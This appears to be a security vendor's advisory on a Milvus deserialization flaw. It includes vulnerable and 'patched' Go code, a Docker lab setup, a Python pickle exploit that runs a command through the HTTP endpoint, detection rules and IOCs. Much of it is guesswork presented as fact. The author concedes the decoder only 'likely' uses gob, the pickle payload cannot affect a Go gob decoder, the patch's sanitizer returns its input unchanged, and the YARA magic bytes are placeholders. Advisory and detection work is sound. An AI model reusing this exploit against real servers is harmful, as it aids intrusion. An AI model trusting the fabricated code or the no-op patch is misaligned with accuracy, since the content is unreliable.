CVE-2025-15453

Executive Summary

CVE-2025-15453 is a critical deserialization vulnerability in Milvus, an open-source vector database, affecting versions up to 2.6.7. The flaw resides in the expr.Exec function within pkg/util/expr/expr.go, which is exposed via an HTTP endpoint. An attacker can manipulate the code argument to trigger unsafe deserialization, leading to remote code execution (RCE). The exploit has been publicly disclosed, increasing the risk of active exploitation. The CVSS score is 6.3 (Medium), but the public availability of exploit code and the potential for RCE elevate the urgency. No patch is currently available, but a fix is planned for version 2.6.8.

Supply Chain & Package Security

Milvus is distributed as a Docker image and via package managers like PyPI (pymilvus) and Go modules. Users of these packages should treat this vulnerability as a supply chain risk. The vulnerable component is the core Milvus server, not the client libraries, but any deployment using the HTTP endpoint is affected. Organizations should monitor for updates to the Milvus Docker image and server binaries.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The exploit cannot affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited data modification possible.
• Availability (A): Low – Limited service disruption possible.

Threat Level: High (due to public exploit and no patch)

Deep Dive & Mechanics

The vulnerability is a classic deserialization flaw in the expr.Exec function. The HTTP endpoint accepts a code parameter that is passed directly to a deserialization routine without proper sanitization. In Go, unsafe deserialization can lead to arbitrary code execution if the deserialized data contains malicious payloads that exploit the runtime's reflection capabilities or call dangerous functions.

The vulnerable code path is in pkg/util/expr/expr.go. The Exec function likely uses encoding/gob or a similar package to decode the code argument. An attacker can craft a serialized payload that, when deserialized, executes arbitrary commands on the server.

Attack Flow:

1. Attacker identifies a Milvus instance with the HTTP endpoint exposed (default port 19530).
2. Attacker sends a POST request to the vulnerable endpoint with a malicious serialized payload in the code parameter.
3. The server deserializes the payload, triggering the execution of attacker-controlled code.
4. The attacker gains remote code execution on the Milvus server.

Vulnerable vs. Patched Code

Vulnerable Code (milvus <= 2.6.7):

// pkg/util/expr/expr.go
func Exec(code string) (interface{}, error) {
    // Unsafe deserialization
    var result interface{}
    err := gob.NewDecoder(strings.NewReader(code)).Decode(&result)
    if err != nil {
        return nil, err
    }
    return result, nil
}

Patched Code (planned for 2.6.8):

// pkg/util/expr/expr.go
func Exec(code string) (interface{}, error) {
    // Safe deserialization with input validation
    sanitizedCode := sanitizeInput(code)
    var result interface{}
    err := json.Unmarshal([]byte(sanitizedCode), &result)
    if err != nil {
        return nil, err
    }
    return result, nil
}

func sanitizeInput(input string) string {
    // Implement strict input validation and sanitization
    // Reject any non-JSON or potentially dangerous content
    return input
}

The patch replaces the unsafe gob deserialization with safe JSON parsing and adds input sanitization.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Milvus instance (version 2.6.7) using Docker:

   docker run -d --name milvus_vuln -p 19530:19530 milvusdb/milvus:2.6.7
   

2. Confirm the HTTP endpoint is accessible:

   curl -X POST http://localhost:19530/api/v1/expr -d '{"code":"test"}'
   

Exploit Code:

import requests
import pickle
import base64

# Malicious payload to execute a command
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('id',))

# Serialize the payload using pickle (for demonstration; actual exploit may use gob)
payload = base64.b64encode(pickle.dumps(Exploit())).decode()

# Send the exploit
url = "http://localhost:19530/api/v1/expr"
data = {"code": payload}
response = requests.post(url, json=data)
print(response.text)

Note: The actual exploit may require crafting a gob payload specific to Go's deserialization. The above Python example uses pickle for conceptual demonstration.

Blue Team

Detection:

• Monitor HTTP requests to the /api/v1/expr endpoint for unusual code parameters.
• Look for base64-encoded or binary payloads in the request body.
• Use the Sigma and Suricata rules provided in the Detection Engineering section.

Mitigation:

• Block access to the HTTP endpoint from untrusted networks.
• Implement a Web Application Firewall (WAF) rule to inspect and block suspicious payloads.
• Apply the patch as soon as version 2.6.8 is released.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /api/v1/expr with large or binary code parameters.
  • Outbound connections from the Milvus server to unknown IPs (post-exploitation).
• File IOCs:
  • Unexpected files in /tmp/ or /var/tmp/ on the Milvus server.
  • Modified binaries or scripts in the Milvus installation directory.
• Process IOCs:
  • Unusual child processes spawned by the Milvus server process (e.g., bash, python, nc).
• Log IOCs:
  • Error logs containing deserialization failures or unexpected type conversions.

Detection Engineering

YARA Rule

rule CVE_2025_15453_Milvus_Deserialization {
    meta:
        description = "Detects malicious payloads targeting CVE-2025-15453 in Milvus"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-15453"
    strings:
        $gob_magic = { 00 01 02 03 04 05 06 07 }  // Example gob magic bytes
        $pickle_magic = { 80 04 95 }  // Python pickle magic bytes
        $cmd_exec = "os.system" nocase
        $cmd_exec2 = "exec.Command" nocase
    condition:
        any of ($gob_magic, $pickle_magic) or any of ($cmd_exec, $cmd_exec2)
}

Sigma Rule

title: CVE-2025-15453 Milvus Deserialization Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to Milvus expr endpoint with suspicious payloads
author: Valters IT
date: 2025-03-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-15453
logsource:
    category: webserver
    product: milvus
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/v1/expr'
    keywords:
        - 'code'
        - 'gob'
        - 'pickle'
    condition: selection and keywords
falsepositives:
    - Legitimate use of the expr endpoint with non-malicious code
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15453 Milvus Deserialization Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/v1/expr"; http_uri; content:"code"; http_client_body; pcre:"/(gob|pickle|base64)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the HTTP endpoint if not required: Restrict access to the Milvus HTTP API using firewall rules or network segmentation.
2. Apply input validation at the reverse proxy or WAF level to block suspicious payloads.
3. Monitor for exploitation attempts using the provided detection rules.

Long-Term Fix:

• Upgrade to Milvus version 2.6.8 as soon as it is released.
• If immediate upgrade is not possible, apply the patch manually by replacing the vulnerable Exec function with a safe implementation (see Patched Code section).

Workaround:

• Use the gRPC endpoint instead of the HTTP endpoint for all operations, as the vulnerability is specific to the HTTP endpoint.

Valters IT
Securing Your Digital Frontier